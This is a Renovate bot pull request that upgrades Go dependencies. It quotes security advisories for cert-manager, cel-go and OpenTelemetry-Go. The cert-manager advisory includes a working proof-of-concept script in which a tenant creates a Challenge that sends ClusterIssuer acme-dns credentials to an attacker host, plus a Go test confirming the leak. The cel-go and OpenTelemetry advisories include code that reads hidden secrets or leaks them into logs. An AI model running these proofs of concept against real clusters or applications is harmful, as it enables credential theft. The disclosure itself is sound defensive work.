Skip to content

[18-stable] Update osv-vulnerability-alerts [SECURITY] (18-stable) - #2161

Open
ospk8s-renovate[bot] wants to merge 1 commit into
18-stablefrom
renovate/18-stable-osv-vulnerability-alerts
Open

ospk8s-renovate[bot] wants to merge 1 commit into
18-stablefrom
renovate/18-stable-osv-vulnerability-alerts

Conversation

@ospk8s-renovate

@ospk8s-renovate ospk8s-renovate Bot commented Oct 6, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
github.com/cert-manager/cert-manager v1.18.6 → v1.19.6 age confidence
github.com/google/cel-go v0.23.2 → v0.30.0 age confidence
go.opentelemetry.io/otel v1.41.0 → v1.42.0 age confidence
go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.33.0 → v1.45.0 age confidence
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.33.0 → v1.45.0 age confidence
go.opentelemetry.io/otel/sdk v1.34.0 → v1.45.0 age confidence
golang.org/x/net v0.60.0 → v0.62.0 age confidence
google.golang.org/grpc v1.71.1 → v1.83.2 age confidence

cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials

BIT-cert-manager-2026-62290 / CVE-2026-62290 / GHSA-8rvj-mm4h-c258

More information

Details

Summary

Challenge resources under acme.cert-manager.io can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an Order, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses Challenge.spec.solver as the DNS01 provider configuration.

When the direct Challenge references a ClusterIssuer, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the ClusterIssuer reference, but the DNS provider configuration itself is attacker-controlled through Challenge.spec.solver. This lets a namespace user bypass Issuer/ClusterIssuer solver selectors such as dnsZones, dnsNames, and matchLabels, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.

In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the X-Api-User and X-Api-Key headers loaded by cert-manager from the ClusterIssuer resource namespace.

Attack preconditions
  • The attacker can create challenges.acme.cert-manager.io resources in at least one namespace.
  • The cert-manager controller is running and reconciles ACME Challenge resources cluster-wide.
  • A usable ClusterIssuer exists in the cluster.
  • The referenced ClusterIssuer has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for ClusterIssuer.
  • The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.
Severity

Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.

Why this is not just RBAC misconfiguration

cert-manager's documented end-user workflow does not require users to manually create Challenge resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled Challenge.spec.solver as authoritative for a referenced ClusterIssuer.

The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from issuerRef, while accepting the DNS provider configuration from the untrusted Challenge object.

Affected components
  • ACME Challenge admission validation
  • ACME Challenge controller
  • DNS01 solver selection and DNS provider construction
  • Default aggregate RBAC for challenges.acme.cert-manager.io
Affected versions tested

The issue was reproduced on:

  • master commit 2c0f1a6a4
  • latest production release v1.20.2 commit e5b7b1845
  • v1.19.5 commit cda7b7896
  • v1.18.6 commit 4699caabb

See VERSION_TEST_MATRIX.md for the command matrix and outputs.

Technical details

Relevant code paths:

  • internal/apis/acme/validation/challenge.go:44-45: ValidateChallenge returns no errors on create.
  • deploy/crds/acme.cert-manager.io_challenges.yaml: spec.solver is a required user-controlled field on Challenge.
  • pkg/controller/acmechallenges/scheduler/scheduler.go:51-58: scheduler lists all Challenges.
  • pkg/controller/acmechallenges/controller.go:180-197: scheduler sets status.processing=true.
  • pkg/controller/acmechallenges/sync.go:139-183: controller loads the referenced Issuer and then presents the Challenge.
  • pkg/issuer/acme/dns/dns.go:81: DNS solver Present ignores the issuer object argument.
  • pkg/issuer/acme/dns/dns.go:180-187: DNS provider config and resource namespace are derived from Challenge.spec.
  • pkg/controller/helper.go:39-44: ClusterIssuer references use the cluster resource namespace.
  • pkg/controller/helper.go:66-72: ambient credentials are allowed based on issuerRef.kind.
  • internal/apis/config/controller/v1alpha1/defaults.go:68-69: ClusterIssuer ambient credentials default to enabled.
  • deploy/charts/cert-manager/templates/rbac.yaml:517-519: the aggregate edit role can create/update challenges and orders.

The normal Order flow selects a solver from the Issuer:

  • pkg/util/solverpicker/solverpicker.go: solver selectors are evaluated.
  • pkg/controller/acmeorders/util.go:94-106: solvers are fetched from the Issuer and selected.
  • pkg/controller/acmeorders/util.go:131-142: the selected solver is copied into the generated Challenge.

The direct Challenge flow skips that selection entirely because the direct object already contains a solver.

Proof of concept
PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge

The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.

The ClusterIssuer is configured to use a legitimate acme-dns host for victim.example.com. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.

A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.

Run from the cert-manager repository root:

set -euo pipefail

name=cm-direct-challenge-poc
docker rm -f "$name" >/dev/null 2>&1 || true
docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \
  server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null

cleanup() {
  docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT

for i in $(seq 1 90); do
  docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break
  sleep 2
done

docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null
docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null
docker exec "$name" kubectl create ns tenant >/dev/null
docker exec "$name" kubectl create ns cert-manager >/dev/null
docker exec "$name" kubectl -n tenant create sa bob >/dev/null

docker exec "$name" kubectl -n cert-manager create secret generic cluster-acmedns-account \
  --from-literal=accounts.json='{"victim.example.com":{"username":"victim-user","password":"victim-pass","fulldomain":"x.example.org","subdomain":"x"}}' >/dev/null

docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
  name: cluster-prod
spec:
  acme:
    email: admin@example.com
    server: https://acme-staging-v02.api.letsencrypt.org/directory
    privateKeySecretRef:
      name: cluster-prod-account-key
    solvers:
    - selector:
        dnsZones:
        - victim.example.com
      dns01:
        acmeDNS:
          host: https://legit-acmedns.example
          accountSecretRef:
            name: cluster-acmedns-account
            key: accounts.json
YAML

docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: challenge-create-only
  namespace: tenant
rules:
- apiGroups: ["acme.cert-manager.io"]
  resources: ["challenges"]
  verbs: ["create", "get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: bob-challenge-create-only
  namespace: tenant
subjects:
- kind: ServiceAccount
  name: bob
  namespace: tenant
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: challenge-create-only
YAML

echo "bob create challenges: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)"
echo "bob get cert-manager secret: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)"
echo "bob get clusterissuer: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)"
echo "ClusterIssuer solver policy: $(docker exec "$name" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{" "}{.spec.acme.solvers[0].dns01.acmeDNS.host}')"

docker exec -i "$name" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML'
apiVersion: acme.cert-manager.io/v1
kind: Challenge
metadata:
  name: direct-dns01
spec:
  authorizationURL: https://attacker.example/acme/authz/1
  dnsName: victim.example.com
  issuerRef:
    group: cert-manager.io
    kind: ClusterIssuer
    name: cluster-prod
  key: attacker-key
  token: attacker-token
  type: DNS-01
  url: https://attacker.example/acme/chal/1
  solver:
    dns01:
      acmeDNS:
        host: https://attacker.example/acmedns
        accountSecretRef:
          name: cluster-acmedns-account
          key: accounts.json
YAML

docker exec "$name" kubectl -n tenant get challenge direct-dns01 \
  -o jsonpath='{.spec.issuerRef.kind}{" "}{.spec.dnsName}{" "}{.spec.solver.dns01.acmeDNS.host}{" "}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{"\n"}'

Expected output:

bob create challenges: yes
bob get cert-manager secret: no
bob get clusterissuer: no
ClusterIssuer solver policy: victim.example.com https://legit-acmedns.example
challenge.acme.cert-manager.io/direct-dns01 created
ClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account

This proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer.

PoC B: acme-dns provider sends referenced credentials to the configured host

This self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers.

Run from repository root:

set -euo pipefail

cat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF'
package acmedns

import (
        "context"
        "net/http"
        "net/http/httptest"
        "testing"
)

func TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) {
        var gotUser, gotKey, gotPath string

        ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
                gotPath = r.URL.Path
                gotUser = r.Header.Get("X-Api-User")
                gotKey = r.Header.Get("X-Api-Key")
                w.Header().Set("Content-Type", "application/json")
                w.WriteHeader(http.StatusOK)
                w.Write([]byte(`{"txt":"ok"}`))
        }))
        defer ts.Close()

        accountJSON := []byte(`{
                "victim.example.com": {
                        "username": "victim-user",
                        "password": "victim-pass",
                        "fulldomain": "x.example.org",
                        "subdomain": "x"
                }
        }`)

        provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil)
        if err != nil {
                t.Fatal(err)
        }

        if err := provider.Present(context.Background(), "victim.example.com", "", "txt-value"); err != nil {
                t.Fatal(err)
        }

        if gotPath != "/update" {
                t.Fatalf("path = %q, want /update", gotPath)
        }
        if gotUser != "victim-user" {
                t.Fatalf("X-Api-User = %q, want victim-user", gotUser)
        }
        if gotKey != "victim-pass" {
                t.Fatalf("X-Api-Key = %q, want victim-pass", gotKey)
        }
}
EOF

docker run --rm \
  -v "$PWD":/repo \
  -v /tmp/cert-manager-gomod-cache:/go/pkg/mod \
  -v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \
  -w /repo golang:1.26-bookworm \
  go test ./pkg/issuer/acme/dns/acmedns \
  -run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \
  -count=1 -v

rm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go

Expected output:

=== RUN   TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
--- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost

Combined with PoC A and the code path in pkg/issuer/acme/dns/dns.go, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace.

Credential impact scope

The concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled host receives the X-Api-User and X-Api-Key values loaded from the referenced account JSON.

For other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC.

Expected behavior

Users should not be able to create standalone Challenge resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct Challenge resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer.

Actual behavior

A user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from issuerRef, and uses attacker-controlled provider settings.

Suggested remediation

Possible mitigations:

  • Reject or ignore standalone user-created Challenge resources unless the controller or admission layer can confirm an existing cert-manager-created Order that owns the Challenge.
  • Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference.
  • Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path.
  • Move Challenge and Order creation permissions out of aggregate edit unless direct use is a supported security boundary.
  • Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.

Severity

  • CVSS Score: 7.3 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag

GHSA-gcjh-h69q-9w9g / GO-2026-6094

More information

Details

The function ext.NativeTypes(ParseStructTag("json")) does not honour the encoding/json skip directive json:"-". Fields tagged json:"-" are registered in the CEL type system under the literal name "-" and are readable from any user-submitted CEL expression via dyn(obj)["-"].

Additionally, newNativeTypes silently registers every nested struct reachable from the type passed to NativeTypes, including types from third-party dependencies the developer never examined.

Root cause

In fieldNameByTag, the helper used by ParseStructTag("json") to translate Go struct tags into CEL field names.

See at ext/native.go:146:

func fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {
    return func(field reflect.StructField) string {
        tag, found := field.Tag.Lookup(structTagToParse)
        if found {
            splits := strings.Split(tag, ",")
            if len(splits) > 0 {
                // We make the assumption that the leftmost entry in the tag is the name.
                // This seems to be true for most tags that have the concept of a name/key, such as:
                // https://pkg.go.dev/encoding/xml#Marshal
                // https://pkg.go.dev/encoding/json#Marshal
                // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs
                // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal
                name := splits[0]
                return name
            }
        }

        return field.Name
    }
}

For a field tagged json:"-", this code splits the tag into []string{"-"} and returns "-" as the CEL field name. It never checks whether "-" is the JSON skip sentinel.

This contradicts the encoding/json rule that the source comment explicitly points readers to:

As a special case, if the field tag is "-", the field is always omitted. Note
that a field with name "-" can still be generated using the tag "-,".

The public option also documents JSON-style parsing as the intended behavior.
See at ext/native.go:190:

// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.
// For example:
// If the tag to parse is "cel" and the struct field has tag cel:"foo", the CEL struct field will be "foo".
// If the tag to parse is "json" and the struct field has tag json:"foo,omitempty", the CEL struct field will be "foo".
func ParseStructTag(tag string) NativeTypesOption {
    return func(ntp *nativeTypeOptions) error {
        ntp.fieldNameHandler = fieldNameByTag(tag)
        return nil
    }
}

A developer using ParseStructTag("json") is therefore led to expect encoding/json field-name semantics. Instead, json:"-" is treated as a real field name.

The bad name is accepted during native type construction. newNativeType checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.

See at ext/native.go:663:

if fieldNameHandler != nil {
    fieldNames := make(map[string]struct{})

    for idx := 0; idx < refType.NumField(); idx++ {
        field := refType.Field(idx)
        fieldName := toFieldName(fieldNameHandler, field)

        if _, found := fieldNames[fieldName]; found {
            return nil, fmt.Errorf("invalid field name `%s` in struct `%s`: %w", fieldName, refType.Name(), errDuplicatedFieldName)
        } else {
            fieldNames[fieldName] = struct{}{}
        }
    }
}

Once accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.

See at ext/native.go:286:

func (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {
    if t, found := tp.nativeTypes[typeName]; found {
        fieldCount := t.refType.NumField()
        fields := make([]string, fieldCount)
        for i := 0; i < fieldCount; i++ {
            fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))
        }
        return fields, true
    }
    if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {
        return celTypeFields, true
    }
    return tp.baseProvider.FindStructFieldNames(typeName)
}

Field lookup also treats the name as valid and returns the underlying Go field value.

See at ext/native.go:303:

func (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {
    t, found := tp.nativeTypes[typeName]
    if !found {
        return tp.baseProvider.FindStructFieldType(typeName, fieldName)
    }
    refField, isDefined := t.hasField(fieldName)
    if !found || !isDefined {
        return nil, false
    }

    return &types.FieldType{
        IsSet: func(obj any) bool {
            refVal := reflect.Indirect(reflect.ValueOf(obj))
            refField := refVal.FieldByName(refField.Name)
            return !refField.IsZero()
        },
        GetFrom: func(obj any) (any, error) {
            refVal := reflect.Indirect(reflect.ValueOf(obj))
            refField := refVal.FieldByName(refField.Name)
            return getFieldValue(refField), nil
        },
    }, true
}

At runtime, native objects advertise index access.
See at ext/native.go:37:

var (
    nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType
)

Because traits.IndexerType is present, a user expression can bypass ordinary field syntax and read the registered "-" field with bracket access:

dyn(req.auth)["-"]

The same mistaken name is also used when converting native objects to JSON-like CEL values. ConvertToNative(jsonStructType) iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.

See at ext/native.go:501:

case jsonStructType:
    refVal := reflect.Indirect(o.refValue)
    refType := refVal.Type()
    fields := make(map[string]*structpb.Value, refVal.NumField())
    for i := 0; i < refVal.NumField(); i++ {
        fieldType := refType.Field(i)
        fieldValue := refVal.Field(i)
        if !fieldValue.IsValid() || fieldValue.IsZero() {
            continue
        }
        fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)
        fieldCELVal := o.NativeToValue(fieldValue.Interface())
        fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)
        if err != nil {
            return nil, err
        }
        fields[fieldName] = fieldJSONVal.(*structpb.Value)
    }
    return &structpb.Struct{Fields: fields}, nil

This means a json:"-" secret is exposed in two ways: it can be read directly through CEL indexing as dyn(obj)["-"], and it can appear under the key "-" in JSON struct conversion output.

The blast radius is widened by newNativeTypes, which registers not only the type explicitly passed to NativeTypes, but also every nested struct reachable from its fields.

See at ext/native.go:609:

func newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {
    nt, err := newNativeType(fieldNameHandler, rawType)
    if err != nil {
        return nil, err
    }
    result := []*nativeType{nt}

    var iterateStructMembers func(reflect.Type)
    iterateStructMembers = func(t reflect.Type) {
        if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {
            iterateStructMembers(t.Elem())
            return
        }
        if t.Kind() != reflect.Struct {
            return
        }

        nt, ntErr := newNativeType(fieldNameHandler, t)
        if ntErr != nil {
            err = ntErr
            return
        }
        result = append(result, nt)

        for idx := 0; idx < t.NumField(); idx++ {
            iterateStructMembers(t.Field(idx).Type)
        }
    }
    iterateStructMembers(rawType)

    return result, err
}

As a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a json:"-" secret, CEL still receives a readable field named "-" even though the developer never registered or audited that nested type directly.

Reproduction
package main

import (
    "fmt"
    "reflect"

    "github.com/google/cel-go/cel"
    "github.com/google/cel-go/ext"
)

// Simulates a library type; developer never registers this directly.
type AuthCtx struct {
    UserID string `json:"userId"`
    Secret string `json:"-"` // server-internal; never appears in JSON output
}

// Developer registers only this type.
type Req struct{ Auth AuthCtx `json:"auth"` }

func main() {
    env, _ := cel.NewEnv(
        // Only Req is passed; AuthCtx is registered silently by newNativeTypes.
        ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag("json")),
        cel.Variable("req", cel.ObjectType("main.Req")),
    )
    ast, _ := env.Compile(`dyn(req.auth)["-"]`)
    prg, _ := env.Program(ast)
    out, _, _ := prg.Eval(map[string]any{
        "req": Req{Auth: AuthCtx{UserID: "alice", Secret: "sk-live-s3cr3t"}},
    })
    fmt.Println(out) // sk-live-s3cr3t
}

Expected: expression compile error or empty result; json:"-" field should not be
accessible.
Actual: sk-live-s3cr3t; the server-injected secret is returned verbatim.

The same field is also included under key "-" in ConvertToNative(jsonStructType)
output, and appears in FindStructFieldNames enumeration.

path 1. CEL indexing

Tested against the released module github.com/google/cel-go v0.28.1
(latest stable release as of 2026-05-12), using the go.mod entry:

require github.com/google/cel-go v0.28.1

Running the PoC above (go run main.go) produces:

sk-live-s3cr3t

The secret value is returned verbatim, with no error at compile time or at runtime.

Path 2. ConvertToNative(jsonStructType)

When the nativeObj for the AuthCtx value is converted to a Protobuf Struct
(the representation used whenever CEL output is serialised to JSON), the
json:"-" field appears in the output map under the key "-".

package main

import (
    "encoding/json"
    "fmt"
    "reflect"

    "github.com/google/cel-go/cel"
    "github.com/google/cel-go/ext"

    structpb "google.golang.org/protobuf/types/known/structpb"
)

type AuthCtxConv struct {
    UserID string `json:"userId"`
    Secret string `json:"-"` // should never appear in JSON output
}

type ReqConv struct{ Auth AuthCtxConv `json:"auth"` }

func main() {
    env, _ := cel.NewEnv(
        ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag("json")),
        cel.Variable("req", cel.ObjectType("main.ReqConv")),
    )

    ast, _ := env.Compile(`req.auth`)
    prg, _ := env.Program(ast)
    out, _, _ := prg.Eval(map[string]any{
        "req": ReqConv{Auth: AuthCtxConv{UserID: "alice", Secret: "sk-live-s3cr3t"}},
    })

    jsonStructType := reflect.TypeOf(&structpb.Struct{})
    raw, _ := out.ConvertToNative(jsonStructType)

    st := raw.(*structpb.Struct)
    b, _ := json.MarshalIndent(st.AsMap(), "", "  ")
    fmt.Printf("ConvertToNative(jsonStructType) output:\n%s\n", b)
    fmt.Printf("\nDirect field access via \"-\" key present: %v\n", st.Fields["-"] != nil)
    if v, ok := st.Fields["-"]; ok {
        fmt.Printf("Value: %s\n", v.GetStringValue())
    }
}

Running the PoC above produces:

ConvertToNative(jsonStructType) output:
{
  "-": "sk-live-s3cr3t",
  "userId": "alice"
}

Direct field access via "-" key present: true
Value: sk-live-s3cr3t

The "-" key is present in the serialised Protobuf struct alongside userId.
Any system that converts a CEL evaluation result to JSON (e.g. via structpb.Struct) will include the secret in the output, regardless of whether the dyn()["-"] indexing path is used.

Impact

Any user who can submit CEL expressions to an application that uses ext.NativeTypes(ParseStructTag("json")) can read struct fields that the developer explicitly marked json:"-" to keep out of serialised output. By writing dyn(obj)["-"], the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because newNativeTypes silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.

Remediation

Do not treat json:"-" as a CEL field named "-". Model it as an explicit skipped field, not as an empty string field name.

Update the struct-tag parsing path so exact json:"-" returns “skip this field”, while json:"-," continues to mean the literal field name "-", matching encoding/json semantics.

Apply that skip decision consistently anywhere native fields are exposed or resolved:

  • duplicate-name validation in newNativeType
  • field enumeration in FindStructFieldNames
  • field type lookup in FindStructFieldType
  • runtime lookup in fieldByName / hasField
  • object construction in NewValue
  • JSON conversion in ConvertToNative(jsonStructType)

Apply the same omit handling for xml:"-", yaml:"-", and bson:"-" where ParseStructTag is used.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


JSON private fields exposed via NativeTypes and ParseStructTag in github.com/google/cel-go

GHSA-gcjh-h69q-9w9g / GO-2026-6094

More information

Details

JSON private fields exposed via NativeTypes and ParseStructTag in github.com/google/cel-go

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


Opentelemetry-go's baggage parsing no longer caps raw header length in go.opentelemetry.io/otel

CVE-2026-41178 / GHSA-5wrp-cwcj-q835 / GO-2026-5158

More information

Details

Opentelemetry-go's baggage parsing no longer caps raw header length in go.opentelemetry.io/otel

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


OpenTelemetry-Go: Exporter config logging may leak endpoint URLs in info logs

CVE-2026-81870 / GHSA-8wmf-6v46-5gfg / GO-2026-6505

More information

Details

Summary

OpenTelemetry Go versions 1.5.0 through 1.44.0 can include trace exporter endpoint configuration in an internal diagnostic log emitted when an SDK TracerProvider is created. The default OpenTelemetry logger does not emit this event. Exposure requires an application to install a logger that enables OpenTelemetry's internal Info-level diagnostics and for someone other than the intended audience to have access to those logs.

The logged configuration can disclose the address of the trace collector and whether the OTLP/HTTP connection is configured as insecure. The Zipkin exporter logs its complete collector URL, so credentials in URL userinfo or tokens in the query string are also disclosed if an application embeds them there. OTLP authentication headers, TLS key material, and exported span data are not included in this log.

Exporter MarshalLog implementations that caused this configuration to be included in internal logs were introduced by a1fff3c.

Details

When sdk/trace.NewTracerProvider constructs a provider, it records a TracerProvider created internal Info event containing the provider configuration. In affected versions, the configuration's MarshalLog methods recursively include:

  1. the provider's span processors;
  2. each processor's span exporter; and
  3. for the OTLP trace exporter, its client configuration.

This causes the following values to be present in the event:

  • OTLP trace gRPC: the configured endpoint;
  • OTLP trace HTTP: the configured endpoint and the Insecure flag; and
  • Zipkin: the complete collector URL.

OpenTelemetry Go does not emit this event with its default logger, which only emits errors. An application must explicitly configure a sufficiently verbose logger with otel.SetLogger. The required logr verbosity is version-dependent:

  • versions 1.5.0 through 1.14.x use V(1) for this Info event; and
  • versions 1.15.0 through 1.44.0 use V(4).

OTLP header configuration is not part of the marshaled object, so credentials supplied with WithHeaders or the corresponding environment variables are not exposed. The documented OTLP WithEndpoint input is a collector address rather than a credential-bearing URL. The higher-risk case is therefore the Zipkin collector URL, which is retained and logged in full, or an application passing sensitive data in an OTLP endpoint outside the documented format.

Proof of concept

The following program demonstrates the behavior with OpenTelemetry Go 1.44.0. It deliberately places credentials and a token in the Zipkin collector URL and enables internal Info logging:

package main

import (
	"bytes"
	"context"
	"fmt"

	"github.com/go-logr/logr/funcr"
	"go.opentelemetry.io/otel"
	"go.opentelemetry.io/otel/exporters/zipkin"
	sdktrace "go.opentelemetry.io/otel/sdk/trace"
)

func main() {
	var logs bytes.Buffer
	otel.SetLogger(funcr.New(func(_, args string) {
		_, _ = logs.WriteString(args)
	}, funcr.Options{Verbosity: 4}))

	exporter, err := zipkin.New(
		"http://user:pass@zipkin.internal:9411/api/v2/spans?token=secret",
	)
	if err != nil {
		panic(err)
	}

	tp := sdktrace.NewTracerProvider(sdktrace.WithBatcher(exporter))
	_ = tp.Shutdown(context.Background())

	fmt.Println(logs.String())
}

The TracerProvider created event contains:

http://user:pass@zipkin.internal:9411/api/v2/spans?token=secret

For versions before 1.15.0, set funcr.Options{Verbosity: 1} instead.

Impact

This is a conditional disclosure through application logs. Affected applications must enable verbose OpenTelemetry internal diagnostics and configure a trace exporter containing information they do not intend to expose to readers of those logs. In that configuration, a person or system with log access can learn the trace collector address and internal network topology. If credentials or tokens are embedded directly in a Zipkin collector URL, those values can also be recovered from the logs.

There is no exposure with the default OpenTelemetry logger, and the vulnerable log is generated from local application configuration rather than remotely supplied span data. OTLP authentication headers, certificate or private-key contents, and telemetry payloads are not logged by this path.

Remediation

Upgrade the affected OpenTelemetry Go modules to version 1.45.0 or later. The fix in 3a1412d stops recursively marshaling exporter and client configuration and records their types instead.

If an immediate upgrade is not possible:

  • keep OpenTelemetry internal logging below the Info verbosity described above;
  • do not embed credentials or tokens in exporter endpoint URLs; use authentication headers or another supported credential mechanism; and
  • restrict access to existing logs and rotate any credentials that may already have been recorded.

Severity

  • CVSS Score: 2.0 / 10 (Low)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


OpenTelemetry-Go: Exporter config logging may leak endpoint URLs in info logs in go.opentelemetry.io/otel/exporters/otlp/otlptrace

CVE-2026-81870 / GHSA-8wmf-6v46-5gfg / GO-2026-6505

More information

Details

OpenTelemetry-Go: Exporter config logging may leak endpoint URLs in info logs in go.opentelemetry.io/otel/exporters/otlp/otlptrace

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


OpenTelemetry Go SDK Vulnerable to Arbitrary Code Execution via PATH Hijacking

CVE-2026-24051 / GHSA-9h8m-3fm2-qjrq / GO-2026-4394

More information

Details

Impact

The OpenTelemetry Go SDK in version v1.20.0-1.39.0 is vulnerable to Path Hijacking (Untrusted Search Paths) on macOS/Darwin systems. The resource detection code in sdk/resource/host_id.go executes the ioreg system command using a search path. An attacker with the ability to locally modify the PATH environment variable can achieve Arbitrary Code Execution (ACE) within the context of the application.

